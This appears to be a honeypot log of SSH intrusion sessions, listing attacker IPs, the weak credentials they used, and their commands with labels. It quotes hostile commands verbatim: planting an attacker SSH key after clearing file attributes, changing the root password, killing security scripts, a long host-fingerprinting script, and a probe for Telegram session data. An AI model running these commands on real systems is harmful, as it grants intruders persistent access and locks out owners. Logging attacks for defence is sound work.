"^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—96
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—96
$ /bin/uname -s -v -n -m 2 > /dev/null ร—96
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—96
$ busybox uname -s -v -n -m 2 > /dev/null ร—96
$ ( [ -f /proc/version ] ร—96
$ [ -f /proc/version ] ร—96
$ head -1 /proc/version | cut -d -f1 ร—96
$ [ -f /etc/os-release ] ร—96
๐ŸŽญ hollow_silk_root (43.226.37.33) โ€” Guangzhou, China ยท 1 session ยท 19 cmds
2026-08-13 01:26 EDT ยท as root/123qweasdZXC
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa" โ†’ cat /proc/cpuinfo (CPU model count) โ†’ echo "root:L4Qyx0qVZr9X" โ†’ chpasswd โ†’ pkill -9 secure.sh โ†’ pkill -9 auth.sh โ†’ echo > /etc/hosts โ†’ free -m (memory
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:L4Qyx0qVZr9X"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sneaky_stroopwafel_root (192.42.116.67) โ€” Amsterdam, The Netherlands ยท 2 sessions ยท 5 cmds
2026-07-31 21:28 EDT ยท as admin/admin, root/root
ls โ†’ exit โ†’ CPU profiling โ†’ ?
$ ls -a
$ exit
$ echo "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1785547698789473340" | sh
โ†ณ CPU profiling
$ bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1785547698789473340
โ†ณ CPU profiling
$
๐ŸŽญ manic_clog_root_17 (192.42.116.17) โ€” Amsterdam, The Netherlands ยท 2 sessions ยท 5 cmds
2026-08-01 16:37 EDT ยท as admin/admin, root/root
ls โ†’ exit โ†’ CPU profiling โ†’ ?
$ ls -a
$ exit
$ echo "bash --help; ls /proc/1/; ls --help /; cat /proc/1/mounts; cp; cat /proc/cpuinfo; su --help; echo __1785616678883535407" | sh
โ†ณ CPU profiling
$ bash --help; ls /proc/1/; ls --help /; cat /proc/1/mounts; cp; cat /proc/cpuinfo; su --help; echo __1785616678883535407
โ†ณ CPU profiling
$
๐ŸŽญ murky_dutch_root (45.156.87.234) โ€” Amsterdam, The Netherlands ยท 24 sessions ยท 24 cmds
2026-08-04 20:50 EDT ยท as deploy/deploy, guest/guest, mysql/mysql
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—24
๐ŸŽญ cryptic_dragon_root (121.204.171.142) โ€” Wenquan, China ยท 1 session ยท 2 cmds
2026-08-12 22:32 EDT ยท as oracle/Passw0rd@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ savage_burger_crypto (162.243.247.194) โ€” Secaucus, United States ยท 1 session ยท 1 cmd
2026-08-12 18:47 EDT ยท as eth/eth
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
โ†ณ obfuscated system check
๐ŸŽญ sullen_hawker_root (167.99.66.42) โ€” Singapore, Singapore ยท 2 sessions ยท 22 cmds
2026-08-06 13:12 EDT ยท as oracle/1qaz2wsx#EDC, user/user
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\nOKGjosIt3EUL\nOKGjosIt3EUL"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nOKGjosIt3EUL\nOKGjosIt3EUL\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ cryptic_silk_root_101 (61.155.106.101) โ€” Nanjing, China ยท 2 sessions ยท 22 cmds
2026-07-05 15:57 EDT ยท as oracle/oracle123!@#, user/user
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\nyn4eh68LRI2X\nyn4eh68LRI2X"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nyn4eh68LRI2X\nyn4eh68LRI2X\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ gnarled_hawker_root_28 (84.247.144.28) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-08-12 14:25 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ rabid_blitz_root (157.230.18.133) โ€” Frankfurt am Main, Germany ยท 1 session ยท 2 cmds
2026-08-12 12:30 EDT ยท as oracle/Oracle1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ stoic_yankee_sol (74.48.45.140) โ€” Los Angeles, United States ยท 1 session ยท 2 cmds
2026-08-12 12:28 EDT ยท as oracle/1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ cryptic_jade_root (120.48.66.158) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-08-12 08:38 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ crimson_wok_root (111.23.151.25) โ€” Qingyuan, China ยท 1 session ยท 9 cmds
2026-08-12 06:39 EDT ยท as root/root
root/root login โ†’ OS fingerprinting via uname -a โ†’ hardware profiling with ifconfig and cat /proc/cpuinfo โ†’ cryptominer detection via ps grep โ†’ Telegram data exfiltration probe on /home//.local/share/TelegramDesktop/tdata and /dev/ttyGSM โ†’ failed file locate with malformed string D877F783D5D3EF8Cs โ†’
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ vapor_clog_sol (77.239.124.235) โ€” Amsterdam, The Netherlands ยท 48 sessions ยท 48 cmds
2026-08-02 23:00 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—48
๐ŸŽญ grumpy_orchid_root (188.166.235.250) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-08-12 01:39 EDT ยท as root/root
core count check
$ nproc
โ†ณ core count check
๐ŸŽญ jittery_kimchi_root_37 (43.108.14.37) โ€” Seoul, South Korea ยท 1 session ยท 1 cmd
2026-08-12 00:35 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ nocturnal_wok_root_138 (117.50.199.138) โ€” Yangpu, China ยท 1 session ยท 1 cmd
2026-08-12 00:01 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ stoic_jade_root_182 (120.48.45.182) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-08-11 22:04 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ lurking_dutch_sol (91.92.42.172) โ€” Amsterdam, The Netherlands ยท 17 sessions ยท 17 cmds
2026-07-11 04:28 EDT ยท as guest/guest, oracle/!QAZ@WSX, oracle/!QAZ@wsx
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—17
๐ŸŽญ haywire_jade_root (101.89.76.249) โ€” Shanghai, China ยท 1 session ยท 20 cmds
2026-08-11 21:42 EDT ยท as oracle/1qaz2wsx#EDC
lockr -ia .ssh hardening โ†’ .ssh directory reconstruction with hardcoded RSA key โ†’ passwd brute-force injection via piped input โ†’ memory and CPU profiling via /proc/cpuinfo and free โ†’ top process monitoring โ†’ crontab enumeration
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "1qaz2wsx#EDC\nlaKtxdhcNlGY\nlaKtxdhcNlGY"|passwd|bash
$ Enter new UNIX password:
$ echo "1qaz2wsx#EDC\nlaKtxdhcNlGY\nlaKtxdhcNlGY\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ scrappy_ghost_sol (195.178.110.26) โ€” Andorra la Vella, Andorra ยท 28 sessions ยท 28 cmds
2026-07-13 13:39 EDT ยท as admin/admin123, postgres/postgres, sol/123
Ran uname 6x across 6 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—28
โ†ณ obfuscated system check
๐ŸŽญ haywire_tulip_sol (45.148.10.240) โ€” Amsterdam, The Netherlands ยท 823 sessions ยท 823 cmds
2026-06-24 11:41 EDT ยท as bitcoin/bitcoin, eth/eth, firedancer/firedancer
Ran uname 900x across 900 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—823
โ†ณ obfuscated system check
๐ŸŽญ venomous_dimsum_sol (152.32.254.89) โ€” Hong Kong, Hong Kong ยท 1 session ยท 2 cmds
2026-08-11 15:48 EDT ยท as oracle/1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ drowsy_wok_root_234 (47.113.107.234) โ€” Shenzhen, China ยท 1 session ยท 1 cmd
2026-08-11 14:45 EDT ยท as mysql/mysql
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ restless_trident_root (77.87.40.114) โ€” Kyiv, Ukraine ยท 1 session ยท 2 cmds
2026-08-11 13:58 EDT ยท as oracle/11111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ashen_durian_root_118 (157.245.148.118) โ€” Singapore, Singapore ยท 2 sessions ยท 2 cmds
2026-08-11 11:36 EDT ยท as root/admin, ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—2
โ†ณ obfuscated system check
๐ŸŽญ zealous_stroopwafel_root (193.32.162.42) โ€” Amsterdam, The Netherlands ยท 1 session ยท 9 cmds
2026-08-11 08:58 EDT ยท as root/qwerty
Credential use (root/qwerty) โ†’ PATH environment manipulation โ†’ kernel/version enumeration via multiple uname variants โ†’ OS release detection via /proc/version and /etc/os-release โ†’ data redirection to /dev/null for stealth.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null
$ /bin/uname -s -v -n -m 2 > /dev/null
$ /usr/bin/uname -s -v -n -m 2 > /dev/null
$ busybox uname -s -v -n -m 2 > /dev/null
$ ( [ -f /proc/version ]
$ [ -f /proc/version ]
$ head -1 /proc/version | cut -d -f1
$ [ -f /etc/os-release ]
๐ŸŽญ baroque_windmill_root (77.239.124.243) โ€” Amsterdam, The Netherlands ยท 42 sessions ยท 42 cmds
2026-07-22 16:16 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—42
๐ŸŽญ spectral_volcano_root (160.187.174.22) โ€” Deli Serdang, Indonesia ยท 55 sessions ยท 56 cmds
2026-07-19 13:23 EDT ยท as admin/123456, admin/admin123, admin/password
uname โ†’ file attribute tampering โ†’ SSH key persistence
$ uname -s -v -n -r -m ร—54
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
